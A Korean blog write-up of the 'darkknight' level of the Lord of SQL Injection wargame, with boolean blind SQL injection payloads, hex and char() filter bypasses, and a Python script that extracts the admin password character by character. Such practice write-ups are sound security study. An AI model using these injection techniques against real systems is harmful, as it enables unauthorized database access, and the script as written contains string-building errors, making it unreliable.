728x90
-참: URL + ?pw=1&&no=1 or (1 like 1) --> Hello guest 나타남
거짓: URL + ?pw=1&&no=1 or (1 like 2)
길이 알아내기+ pw 알아내기 시도 Hello admin이 나올 때 참!!
import requests
cookies={'PHPSESSID':'쿠키값'}
url ="https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw=1&&no=1 or "
length=8#hash는 17자리
for i in range(1, 30):
length_srch=f"(length(pw) like {i})"
print("length_srch: "+length_srch)
response= requests.get(url+length_srch, cookies=cookies)
#print(response.text)
if response.text.find("Hello admin") !=-1:
print("length: "+str(i))
length=i
break
print("length(pw): "+str(i))
pw= ""
for i in range(1, 10):
for j in range(33, 125):#숫자부터 소문자z까지
# (ord(mid(pw, n, 1)) like ?)
search_str="(ord(mid(pw,"+{i}+",1)) like "+{j}+")"
print("search_str: "+search_str)
response= requests.get(url+search_str, cookies=cookies)
if response.text.find("Hello admin") !=-1:
pw+=chr(j)
print("pw: "+pw)
break
문제발생
8번째 pw가 출력되지 않는다.
원인 분석 결과:
admin의 8번째 pw == guest의 8번째 pw 이기 때문에 Hello admin 대신 Hello guest가 출력됨.
문제 해결 방안:
1. id='admin'이라는 조건을 추가해야 한다.
2. '(홑따음표)는 필터링 되어 있는 상태
3. 'admin'대신 char(97,100,109,105,110) 사용
-->id=char(97,100,109,105,110)&&ord(mid(data, n, 1)) like ?
?? 왜인지 잘림
4. 'admin' 대신 0x61646d696e (16진수) 사용
-->id=0x61646d696e&&ord(mid(data, n, 1)) like ?
?? 이것도 잘림
4-1. &&대신 and 사용
--> id=0x61646d696e and ord(mid(data, n, 1)) like ?
성공!!
그렇게 해서 얻은 admin의 pw는 0b70ea1f
?pw=0b70ea1f
입력하면 성공!!
'보안 공부 > Load of SQL injection' 카테고리의 다른 글
[Load of SQL Injection] Giant (공백 문자 우회 방법 모음) (0) | 2022.01.28 |
---|---|
[Load of SQL Injection] bugbear (0) | 2022.01.28 |
[Load of SQL Injection] Golem (0) | 2022.01.28 |
[Load of SQL Injection] Skeleton (0) | 2022.01.28 |
[Load of SQL Injection] vampire (0) | 2022.01.28 |